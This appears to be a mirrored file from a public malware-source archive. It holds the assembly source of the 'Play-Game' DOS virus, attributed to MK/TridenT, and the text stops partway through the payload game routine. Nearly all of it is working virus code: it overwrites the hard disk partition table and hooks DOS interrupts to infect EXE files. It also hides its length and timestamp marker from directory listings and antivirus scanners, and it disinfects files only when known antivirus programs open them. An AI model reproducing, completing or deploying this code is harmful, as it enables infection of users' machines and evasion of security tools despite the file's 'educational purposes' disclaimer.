mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
1266 lines
44 KiB
NASM
1266 lines
44 KiB
NASM
|
;------------------------------------------------------------------------------
|
|||
|
; Play-Game VIRUS version 1
|
|||
|
;
|
|||
|
; Use TASM 2.01 to compile this source
|
|||
|
; (other assemblers will probably not produce the same result)
|
|||
|
;
|
|||
|
; Disclaimer:
|
|||
|
; This file is only for educational purposes. The author takes no
|
|||
|
; responsibility for anything anyone does with this file. Do not
|
|||
|
; modify this file!
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
.model tiny
|
|||
|
.RADIX 16
|
|||
|
.code
|
|||
|
|
|||
|
|
|||
|
VERSION equ 1
|
|||
|
FILELEN equ offset last - first ;Length of virus.
|
|||
|
VIRSEC equ (FILELEN+1FF)/200 ;Number of sectors for virus
|
|||
|
VIRKB equ (FILELEN+3FF+100)/400 ;Length in kB.
|
|||
|
SECLEN equ 200 ;length of a sector.
|
|||
|
STACKLEN equ 200 ;Wanted length of stack in
|
|||
|
;infected file.
|
|||
|
STACKOFF equ ((FILELEN+SECLEN+STACKLEN+11)/2)*2 ;Stack offset in
|
|||
|
;infected file.
|
|||
|
DATAPAR equ (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to
|
|||
|
;allocate for infected file
|
|||
|
;(area to load part. table
|
|||
|
;and room for stack).
|
|||
|
BUFLEN equ 1C ;Length of buffer.
|
|||
|
BOOTLEN equ boot_end - boot_begin ;Length of boot-routine.
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Data area for virus.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
org 00F0
|
|||
|
|
|||
|
hook db ? ;Flag for hooking int21
|
|||
|
minibuf db (4) dup (?) ;Mini buffer for internal use.
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Data area for game.
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
bombs db ? ;Number of bombs.
|
|||
|
pos db ? ;Position.
|
|||
|
oldpos db ? ;Previous position.
|
|||
|
level db ?
|
|||
|
kleur db ?
|
|||
|
timer db ?
|
|||
|
tijd dw ?
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Begin of virus, installation in partition table of harddisk
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
org 0100
|
|||
|
|
|||
|
first: db '[ MK / TridenT ]' ;Author + Group.
|
|||
|
|
|||
|
call next
|
|||
|
next: pop si ;Get IP.
|
|||
|
sub si,13 ;Calculate relative offset.
|
|||
|
mov di,0100
|
|||
|
cld
|
|||
|
|
|||
|
call push_all ;Save some registers.
|
|||
|
|
|||
|
push cs ;Make DS and ES equal to CS.
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
|
|||
|
mov ah,30 ;Check if DOS version >= 4.0
|
|||
|
int 21
|
|||
|
cmp al,4
|
|||
|
jb not_install
|
|||
|
|
|||
|
cmp ax,0DEADh ;Check if another TridenT
|
|||
|
je not_install ;(multi-partite) virus is
|
|||
|
;resident.
|
|||
|
|
|||
|
mov ax,0FE02 ;Check if Tequila virus
|
|||
|
int 21 ;is resident.
|
|||
|
cmp ax,01FDh
|
|||
|
je not_install
|
|||
|
|
|||
|
mov ax,33E4 ;Check if virus is already
|
|||
|
int 21 ;resident.
|
|||
|
cmp ah,0A5
|
|||
|
je not_install
|
|||
|
|
|||
|
call infect_part
|
|||
|
|
|||
|
not_install: mov ah,2A ;Ask date.
|
|||
|
int 21
|
|||
|
cmp dh,12d ;december?
|
|||
|
jb dont_play
|
|||
|
mov ah,2C ;Ask time.
|
|||
|
int 21
|
|||
|
cmp ch,21d ;time > 21:00 ?
|
|||
|
jb dont_play
|
|||
|
|
|||
|
mov ax,33E5 ;Play the game!
|
|||
|
int 21
|
|||
|
|
|||
|
dont_play: call pop_all ;Restore registers.
|
|||
|
|
|||
|
add si,offset buffer-100
|
|||
|
cmp byte ptr cs:[si],'M' ;Check if generation 0.
|
|||
|
je entryE
|
|||
|
|
|||
|
int 20 ;It was a COM file (gen. 0).
|
|||
|
|
|||
|
entryE: mov bx,ds ;Calculate CS.
|
|||
|
add bx,low 10
|
|||
|
mov cx,bx
|
|||
|
add bx,cs:[si+0E]
|
|||
|
cli ;Restore SS and SP.
|
|||
|
mov ss,bx
|
|||
|
mov sp,cs:[si+10]
|
|||
|
sti
|
|||
|
add cx,cs:[si+16]
|
|||
|
push cx ;Push new CS on stack.
|
|||
|
push cs:[si+14] ;Push new IP on stack.
|
|||
|
retf
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Infect partition table sector
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
infect_part: lea bx,[si+last-100] ;Read partition table
|
|||
|
mov ax,0201 ;at end of virus.
|
|||
|
mov cx,1
|
|||
|
mov dx,80
|
|||
|
int 13
|
|||
|
jc not_infect_par
|
|||
|
|
|||
|
cmp word ptr [bx],'KM' ;Check if already infected.
|
|||
|
je not_infect_par
|
|||
|
|
|||
|
cmp word ptr [bx],05EA ;Check if infected with
|
|||
|
je not_infect_par ;Stoned or Michelangelo.
|
|||
|
|
|||
|
lea di,[bx+01BE] ;Check partition info.
|
|||
|
mov bl,4
|
|||
|
check_part: cmp byte ptr [di+4],0 ;Skip if not a valid partition.
|
|||
|
je next_part
|
|||
|
cmp word ptr [di+0A],0 ;Enough room for virus?
|
|||
|
jne next_part
|
|||
|
cmp word ptr [di+8],VIRSEC+2
|
|||
|
jb not_infect_par ;Quit if not enough room.
|
|||
|
next_part: add di,10
|
|||
|
dec bl
|
|||
|
jnz check_part
|
|||
|
|
|||
|
lea bx,[si+last-100] ;Save original partition table
|
|||
|
mov ax,0301 ;to sector 2.
|
|||
|
mov cx,2
|
|||
|
int 13
|
|||
|
jc not_infect_par
|
|||
|
|
|||
|
lea bx,[si+first-100] ;Write the virus to sector 3.
|
|||
|
mov ax,0300+VIRSEC
|
|||
|
mov cx,3
|
|||
|
int 13
|
|||
|
jc not_infect_par
|
|||
|
|
|||
|
lea di,[si+last-100] ;Infect part table.
|
|||
|
lea si,[si+boot_begin-100]
|
|||
|
mov bx,di
|
|||
|
mov cx,BOOTLEN
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov ax,0301 ;Write infected partition table
|
|||
|
mov cx,1 ;to sector 1.
|
|||
|
int 13
|
|||
|
|
|||
|
not_infect_par: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Partition table routine
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
boot_begin: db 'MK' ;Signature (= DEC BP, DEC BX).
|
|||
|
|
|||
|
cld ;Initialise segments + stack.
|
|||
|
cli
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ss,ax
|
|||
|
mov sp,7C00
|
|||
|
sti
|
|||
|
|
|||
|
mov di,0400 ;Adjust memory size.
|
|||
|
mov ax,ds:[di+13]
|
|||
|
sub ax,VIRKB
|
|||
|
mov ds:[di+13],ax
|
|||
|
|
|||
|
mov cl,6 ;Calculate segment for
|
|||
|
shl ax,cl ;resident virus.
|
|||
|
mov es,ax
|
|||
|
|
|||
|
mov cx,BOOTLEN ;Copy virus to top.
|
|||
|
mov si,sp ;SP=7C00
|
|||
|
xor di,di
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov bx,offset here-offset boot_begin ;Jump to top.
|
|||
|
push es
|
|||
|
push bx
|
|||
|
retf
|
|||
|
|
|||
|
here: mov ax,0200+VIRSEC ;Load complete virus.
|
|||
|
mov cx,3
|
|||
|
mov dx,0080
|
|||
|
mov bx,0100
|
|||
|
int 13
|
|||
|
jc load_part
|
|||
|
|
|||
|
cli
|
|||
|
mov ax,offset ni13 ;Set new vector 13.
|
|||
|
xchg ds:[4*13],ax
|
|||
|
mov cs:[oi13],ax ;Save old vector 13.
|
|||
|
mov ax,es
|
|||
|
xchg ds:[4*13+2],ax
|
|||
|
mov cs:[oi13+2],ax
|
|||
|
|
|||
|
les bx,ds:[4*21] ;Get original vector 21.
|
|||
|
mov cs:[oi21],bx
|
|||
|
mov cs:[oi21+2],es
|
|||
|
sti
|
|||
|
|
|||
|
mov byte ptr cs:[hook],1 ;Turn on hook-flag.
|
|||
|
|
|||
|
load_part: mov di,5
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
part_loop: mov ax,0201 ;Load original part. sector.
|
|||
|
mov cx,2
|
|||
|
mov dx,0080
|
|||
|
mov bx,sp
|
|||
|
int 13
|
|||
|
jnc jump_part
|
|||
|
|
|||
|
xor ax,ax ;Reset Drive
|
|||
|
int 13
|
|||
|
dec di
|
|||
|
jnz part_loop ;Try again.
|
|||
|
int 18 ;Error: activate ROM BASIC.
|
|||
|
|
|||
|
jump_part: push ds ;Push next address.
|
|||
|
push bx
|
|||
|
retf
|
|||
|
boot_end:
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Int 13 handler
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
ni13: cmp byte ptr cs:[hook],0 ;Is int 21 already hooked?
|
|||
|
je do_int13
|
|||
|
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
cli
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
|
|||
|
les bx,ds:[4*21] ;Compare int 21 vector
|
|||
|
mov ax,es ;with saved old vector.
|
|||
|
|
|||
|
cmp ax,800
|
|||
|
ja dont_hook
|
|||
|
cmp bx,cs:[oi21]
|
|||
|
jne hook_21
|
|||
|
cmp ax,cs:[oi21+2]
|
|||
|
je dont_hook
|
|||
|
|
|||
|
hook_21: mov cs:[oi21],bx ;Save old vector 21.
|
|||
|
mov cs:[oi21+2],ax
|
|||
|
|
|||
|
mov ds:[4*21],offset ni21 ;Set new vector 21.
|
|||
|
mov ds:[4*21+2],cs
|
|||
|
|
|||
|
mov byte ptr cs:[hook],0 ;Don't hook int 21 anymore.
|
|||
|
|
|||
|
dont_hook: sti
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
|
|||
|
|
|||
|
do_int13: cmp cx,1 ;Check if part. table
|
|||
|
jne orgint13 ;is read or written.
|
|||
|
cmp dx,80
|
|||
|
jne orgint13
|
|||
|
cmp ah,2
|
|||
|
jb orgint13
|
|||
|
cmp ah,3
|
|||
|
ja orgint13
|
|||
|
or al,al
|
|||
|
jz orgint13
|
|||
|
|
|||
|
push cx
|
|||
|
dec al
|
|||
|
jz nothing_left
|
|||
|
push ax ;Do original function
|
|||
|
push bx
|
|||
|
add bx,0200
|
|||
|
inc cx
|
|||
|
pushf
|
|||
|
call dword ptr cs:[oi13]
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
nothing_left: mov al,1 ;Read/write redirected
|
|||
|
mov cx,2 ;partition table.
|
|||
|
pushf
|
|||
|
call dword ptr cs:[oi13]
|
|||
|
pop cx
|
|||
|
retf 2
|
|||
|
|
|||
|
|
|||
|
orgint13: db 0EA
|
|||
|
oi13 dw 0, 0 ;Original int 13 vector.
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Interupt 21 handler
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
ni21: pushf
|
|||
|
|
|||
|
cmp ax,33E4 ;Installation-check ?
|
|||
|
jne not_ic
|
|||
|
mov ax,0A500+VERSION ;Yes? Return a signature.
|
|||
|
popf
|
|||
|
iret
|
|||
|
|
|||
|
not_ic: cmp ax,33E5 ;Play game ?
|
|||
|
jne not_pg
|
|||
|
call play_game
|
|||
|
popf
|
|||
|
iret
|
|||
|
|
|||
|
not_pg: call push_all ;Check if interupt came from
|
|||
|
call getname ;a program that may not see
|
|||
|
mov dx,offset namesHI ;true length of infected file
|
|||
|
mov cx,2+11d ;(AV program or 'DIR').
|
|||
|
call checknames
|
|||
|
call pop_all
|
|||
|
jne no_hide
|
|||
|
|
|||
|
cmp ah,11 ;Findfirst/findnext FCB?
|
|||
|
je its_11_12
|
|||
|
cmp ah,12
|
|||
|
jne not_11_12
|
|||
|
its_11_12: popf
|
|||
|
call findFCB
|
|||
|
retf 2
|
|||
|
|
|||
|
not_11_12: cmp ah,4E ;Findfirst/findnext handle?
|
|||
|
je its_4E_4F
|
|||
|
cmp ah,4F
|
|||
|
jne no_hide
|
|||
|
its_4E_4F: popf
|
|||
|
call findhndl
|
|||
|
retf 2
|
|||
|
|
|||
|
|
|||
|
no_hide: call push_all ;Save registers.
|
|||
|
|
|||
|
cmp ax,6C00 ;Open from DOS 4.0+ ?
|
|||
|
jne not_6C00
|
|||
|
call f_open2
|
|||
|
jmp short exit
|
|||
|
|
|||
|
not_6C00: cmp ah,3Dh ;File open?
|
|||
|
jne not_3D
|
|||
|
call f_open
|
|||
|
jmp short exit
|
|||
|
|
|||
|
not_3D: cmp ah,3E ;File close?
|
|||
|
jne not_3E
|
|||
|
call f_close
|
|||
|
jmp short exit
|
|||
|
|
|||
|
not_3E: cmp ax,4B00 ;Program execute?
|
|||
|
jne exit
|
|||
|
call f_execute
|
|||
|
|
|||
|
exit: call pop_all ;Restore registers.
|
|||
|
|
|||
|
popf
|
|||
|
|
|||
|
db 0EA ;Original int 21.
|
|||
|
oi21 dw 0, 0
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Interupt 24 handler
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
ni24: mov al,3 ;To avoid 'Abort, Retry, ...'
|
|||
|
iret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Call original int21
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
DOS: pushf
|
|||
|
call dword ptr cs:[oi21]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Hide the virus from filelength
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
findFCB: call DOS ;Call original function.
|
|||
|
or al,al
|
|||
|
jne ret1
|
|||
|
pushf
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
push es
|
|||
|
mov ah,2F ;Ask DTA adres.
|
|||
|
call DOS
|
|||
|
cmp byte ptr es:[bx],0FF ;Extended FCB?
|
|||
|
jne vv1
|
|||
|
add bx,7
|
|||
|
vv1: mov al,byte ptr es:[bx+17] ;Check if infected
|
|||
|
and al,1Fh ;(seconds=62).
|
|||
|
cmp al,1Fh
|
|||
|
jne dont_hide
|
|||
|
sub word ptr es:[bx+1Dh],FILELEN ;Hide virus length.
|
|||
|
sbb word ptr es:[bx+1F],0
|
|||
|
dec bx
|
|||
|
jmp short hide_time
|
|||
|
|
|||
|
|
|||
|
findhndl: call DOS ;Call original function.
|
|||
|
jc ret1
|
|||
|
pushf
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
push es
|
|||
|
mov ah,2F ;ask DTA adres
|
|||
|
call DOS
|
|||
|
mov al,byte ptr es:[bx+16] ;Check if infected.
|
|||
|
and al,1Fh
|
|||
|
cmp al,1Fh
|
|||
|
jne dont_hide
|
|||
|
sub word ptr es:[bx+1A],FILELEN ;Hide virus length.
|
|||
|
sbb word ptr es:[bx+1C],0
|
|||
|
hide_time: and byte ptr es:[bx+16],0EFh ;Also hide seconds.
|
|||
|
dont_hide: pop es
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
popf
|
|||
|
ret1: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Try to infect or disinfect the file
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
f_close: cmp bx,5 ;Is handle >= 5?
|
|||
|
jb ret1 ;Quit if not.
|
|||
|
mov ah,45 ;Duplicate handle
|
|||
|
jmp short doit
|
|||
|
|
|||
|
f_execute: mov ah,3Dh ;Open file
|
|||
|
doit: call DOS
|
|||
|
jc ret1
|
|||
|
xchg ax,bx
|
|||
|
mov bp,1 ;Flag for infect.
|
|||
|
jmp short get_ctrlbrk
|
|||
|
|
|||
|
|
|||
|
f_open2: mov dx,si ;Use 'normal' open function
|
|||
|
mov ah,3Dh ;instead of 6C00 function.
|
|||
|
f_open: call DOS
|
|||
|
jc ret1
|
|||
|
xchg ax,bx
|
|||
|
xor bp,bp ;Flag for disinfect.
|
|||
|
|
|||
|
|
|||
|
get_ctrlbrk: cld
|
|||
|
|
|||
|
mov ax,3300 ;Get ctrl-break flag.
|
|||
|
call DOS
|
|||
|
push dx
|
|||
|
|
|||
|
cwd ;Disable Ctrl-break.
|
|||
|
inc ax
|
|||
|
push ax
|
|||
|
call DOS
|
|||
|
|
|||
|
mov dx,bx
|
|||
|
mov ax,3524 ;Get int24 vector.
|
|||
|
call DOS
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov bx,dx
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov dx,offset ni24 ;Install new int24 handler.
|
|||
|
mov ah,25
|
|||
|
push ax
|
|||
|
call DOS
|
|||
|
|
|||
|
mov ax,1220 ;Get pointer to file table
|
|||
|
push bx
|
|||
|
int 2F
|
|||
|
mov bl,es:[di]
|
|||
|
mov al,16 ;(Avoid [512] signature...)
|
|||
|
mov ah,12
|
|||
|
int 2F
|
|||
|
pop bx ;ES:DI -> file table
|
|||
|
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
|
|||
|
push [di+2] ;Save attribute & open-mode.
|
|||
|
push [di+4]
|
|||
|
|
|||
|
cmp word ptr [di+28],'XE' ;Check if extension is .EXE
|
|||
|
jne close1
|
|||
|
cmp byte ptr [di+2A],'E'
|
|||
|
jne close1
|
|||
|
|
|||
|
; cmp word ptr [di+20],'XX' ;Check if name is 'XX*.EXE'
|
|||
|
; jne close1 ;(only for test purposes).
|
|||
|
|
|||
|
test bp,bp ;Infect or disinfect?
|
|||
|
jz check_disinf
|
|||
|
|
|||
|
mov ax,word ptr [di+20] ;Check if file may be infected.
|
|||
|
mov dx,offset namesSC
|
|||
|
mov cx,11d+4
|
|||
|
call checknames
|
|||
|
je close1
|
|||
|
jmp short go_on
|
|||
|
|
|||
|
check_disinf: call getname ;Check if file must be
|
|||
|
mov dx,offset namesSC ;disinfected (only if an
|
|||
|
mov cx,11d ;AV program is active).
|
|||
|
call checknames
|
|||
|
jne close1
|
|||
|
|
|||
|
go_on: mov byte ptr [di+2],2 ;Open file for both read/write.
|
|||
|
mov byte ptr [di+4],0 ;Clear attributes
|
|||
|
call gotobegin
|
|||
|
push ax ;Save old file offset
|
|||
|
push dx
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov cx,BUFLEN ;Read begin of file
|
|||
|
mov si,offset buffer ;into buffer.
|
|||
|
mov dx,si
|
|||
|
call read
|
|||
|
|
|||
|
call checkfile ;Check if file is OK to infect
|
|||
|
jc close2 ;or disinfect.
|
|||
|
|
|||
|
mov ax,word ptr [si+12] ;Already infected?
|
|||
|
add al,ah
|
|||
|
cmp al,'#'
|
|||
|
je is_infected
|
|||
|
|
|||
|
test bp,bp ;Must it be infected?
|
|||
|
jz close2
|
|||
|
|
|||
|
call do_infect
|
|||
|
|
|||
|
is_infected: test bp,bp ;Must it be disinfected?
|
|||
|
jnz close2
|
|||
|
|
|||
|
call do_disinfect
|
|||
|
|
|||
|
close2: push es
|
|||
|
pop ds
|
|||
|
|
|||
|
pop dx ;Restore file offset.
|
|||
|
pop ax
|
|||
|
call goto
|
|||
|
or byte ptr [di+6],40 ;Don't change file-time.
|
|||
|
|
|||
|
close1: mov ah,3E ;Close the file.
|
|||
|
call DOS
|
|||
|
|
|||
|
or byte ptr [di+5],40 ;No EOF on next close.
|
|||
|
pop [di+4] ;Restore attribute & open-mode.
|
|||
|
pop [di+2]
|
|||
|
|
|||
|
pop ax ;Restore int 24 vector.
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
call DOS
|
|||
|
|
|||
|
pop ax ;Restore ctrl-break flag.
|
|||
|
pop dx
|
|||
|
call DOS
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Special filenames
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
namesHI db 'CO', '4D' ;COMMAND.COM and 4DOS.
|
|||
|
namesSC db 'SC', 'CL', 'VS', 'NE' ;AV programs.
|
|||
|
db 'HT', 'TB', 'VI', 'F-'
|
|||
|
db 'FI', 'GI', 'IM'
|
|||
|
namesCH db 'RA', 'FE', 'MT', 'BR' ;Some self-checking
|
|||
|
;programs.
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Check the file
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
checkfile: cmp word ptr [si],'ZM' ;Is it a normal EXE ?
|
|||
|
jne not_good
|
|||
|
|
|||
|
cmp word ptr [si+18],40 ;Check if it is a windows/OS2
|
|||
|
jb not_win ;EXE file.
|
|||
|
|
|||
|
mov ax,003C ;Read pointer to NE header.
|
|||
|
cwd
|
|||
|
call readbytes
|
|||
|
jc not_good
|
|||
|
|
|||
|
mov ax,word ptr [si+BUFLEN] ;Read NE header.
|
|||
|
mov dx,word ptr [si+BUFLEN+2]
|
|||
|
call readbytes
|
|||
|
jc not_good
|
|||
|
|
|||
|
cmp byte ptr [si+BUFLEN+1],'E' ;Quit if it is a NE
|
|||
|
je not_good ;header.
|
|||
|
|
|||
|
not_win: call getlen
|
|||
|
call calclen ;Check for internal overlays.
|
|||
|
cmp word ptr [si+4],ax
|
|||
|
jne not_good
|
|||
|
cmp word ptr [si+2],dx
|
|||
|
jne not_good
|
|||
|
|
|||
|
cmp word ptr [si+0C],0 ;High memory allocation?
|
|||
|
je not_good
|
|||
|
|
|||
|
cmp word ptr [si+1A],0 ;Overlay nr. not zero?
|
|||
|
jne not_good
|
|||
|
|
|||
|
clc ;File is OK.
|
|||
|
ret
|
|||
|
|
|||
|
not_good: stc ;File is not OK.
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Write virus to the program
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
do_infect: call getlen ;Go to end of file.
|
|||
|
call goto
|
|||
|
|
|||
|
mov dx,0100 ;Write virus.
|
|||
|
mov cx,FILELEN
|
|||
|
call write
|
|||
|
cmp ax,cx ;Are all bytes written?
|
|||
|
jne not_infect
|
|||
|
|
|||
|
call getoldlen ;Calculate new CS & IP.
|
|||
|
mov cx,0010
|
|||
|
div cx
|
|||
|
sub ax,word ptr [si+8]
|
|||
|
add dx,low 10
|
|||
|
|
|||
|
mov word ptr [si+16],ax ;Put CS in header.
|
|||
|
mov word ptr [si+0E],ax ;Put SS in header.
|
|||
|
mov word ptr [si+14],dx ;Put IP in header.
|
|||
|
mov word ptr [si+10],STACKOFF ;Put SP in header.
|
|||
|
|
|||
|
call getlen ;Put new length in header.
|
|||
|
call calclen
|
|||
|
mov word ptr [si+4],ax
|
|||
|
mov word ptr [si+2],dx
|
|||
|
|
|||
|
push di
|
|||
|
lea di,[si+0A] ;Adjust mem. allocation info.
|
|||
|
call mem_adjust
|
|||
|
lea di,[si+0C]
|
|||
|
call mem_adjust
|
|||
|
pop di
|
|||
|
|
|||
|
call gotobegin ;Write new begin of file.
|
|||
|
in al,40
|
|||
|
mov ah,'#'
|
|||
|
sub ah,al
|
|||
|
mov word ptr [si+12],ax
|
|||
|
mov cx,BUFLEN
|
|||
|
mov dx,si
|
|||
|
call write
|
|||
|
|
|||
|
or byte ptr es:[di+0Dh],1F ;set filetime to 62 sec.
|
|||
|
|
|||
|
not_infect: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Disinfect the program
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
do_disinfect: call getoldlen ;Go to original end of file
|
|||
|
add ax,(offset buffer-100)
|
|||
|
adc dx,0
|
|||
|
call goto ;Go to buffer in virus.
|
|||
|
|
|||
|
mov dx,si ;Read buffer.
|
|||
|
mov cx,BUFLEN
|
|||
|
call read
|
|||
|
|
|||
|
cmp word ptr [si],'ZM' ;Is there an EXE header
|
|||
|
jne not_disinfect ;in the buffer?
|
|||
|
|
|||
|
call gotobegin ;Write the buffer to
|
|||
|
mov dx,si ;begin of file.
|
|||
|
mov cx,BUFLEN
|
|||
|
call write
|
|||
|
|
|||
|
call getoldlen ;Restore original length
|
|||
|
mov es:[di+11],ax ;of file.
|
|||
|
mov es:[di+13],dx
|
|||
|
|
|||
|
and byte ptr es:[di+0Dh],0E0 ;Seconds = 0.
|
|||
|
|
|||
|
not_disinfect: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Get name of current process
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
getname: push ds
|
|||
|
push bx
|
|||
|
|
|||
|
mov ah,62 ;Get PSP address.
|
|||
|
call DOS
|
|||
|
dec bx
|
|||
|
mov ds,bx
|
|||
|
mov ax,ds:[0008] ;Get first 2 characters
|
|||
|
;of current process name.
|
|||
|
pop bx
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Check names
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
checknames: push di
|
|||
|
push es
|
|||
|
|
|||
|
push cs ;Search name in list CS:DX
|
|||
|
pop es
|
|||
|
mov di,dx
|
|||
|
repnz scasw
|
|||
|
|
|||
|
pop es
|
|||
|
pop di
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Calculate length for EXE header
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
calclen: mov cx,0200 ;Divide by 200h
|
|||
|
div cx
|
|||
|
or dx,dx ;Correction?
|
|||
|
jz no_cor
|
|||
|
inc ax
|
|||
|
no_cor: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Adjust mem allocation info in EXE header
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
mem_adjust: cmp word ptr [di],DATAPAR ;Enough memory allocated?
|
|||
|
jnb mem_ok
|
|||
|
mov word ptr [di],DATAPAR ;Minimum amount to allocate.
|
|||
|
mem_ok: ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Read a few bytes
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
readbytes: call goto ;Go to DX:AX and read 4 bytes
|
|||
|
mov dx,offset minibuf ;from that location into
|
|||
|
mov cx,4 ;mini-buffer.
|
|||
|
read: mov ah,3F
|
|||
|
call DOS
|
|||
|
ret
|
|||
|
|
|||
|
write: mov ah,40 ;Write function.
|
|||
|
call DOS
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Get original length of program
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
getoldlen: call getlen
|
|||
|
sub ax,FILELEN
|
|||
|
sbb dx,0
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Get length of program
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
getlen: mov ax,es:[di+11]
|
|||
|
mov dx,es:[di+13]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Goto new offset DX:AX
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
gotobegin: xor ax,ax
|
|||
|
cwd
|
|||
|
goto: xchg ax,es:[di+15]
|
|||
|
xchg dx,es:[di+17]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Push all registers on stack
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
push_all: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push ds
|
|||
|
push es
|
|||
|
mov bp,sp
|
|||
|
jmp [bp+12]
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Pop all registers from stack
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
pop_all: pop ax
|
|||
|
mov bp,sp
|
|||
|
mov [bp+12],ax
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; Game
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
play_game: call rnd_init ;Initialize random number
|
|||
|
;generator.
|
|||
|
mov ah,0F ;Get video mode.
|
|||
|
int 10
|
|||
|
|
|||
|
xor ah,ah ;Clear screen and set to
|
|||
|
push ax ;40 column mode.
|
|||
|
mov al,1
|
|||
|
int 10
|
|||
|
|
|||
|
mov ah,3 ;Clear cursor.
|
|||
|
int 10
|
|||
|
push cx
|
|||
|
mov ah,1
|
|||
|
xor cx,cx
|
|||
|
int 10
|
|||
|
|
|||
|
start_game: push cs
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
|
|||
|
xor al,al ;Clear screen
|
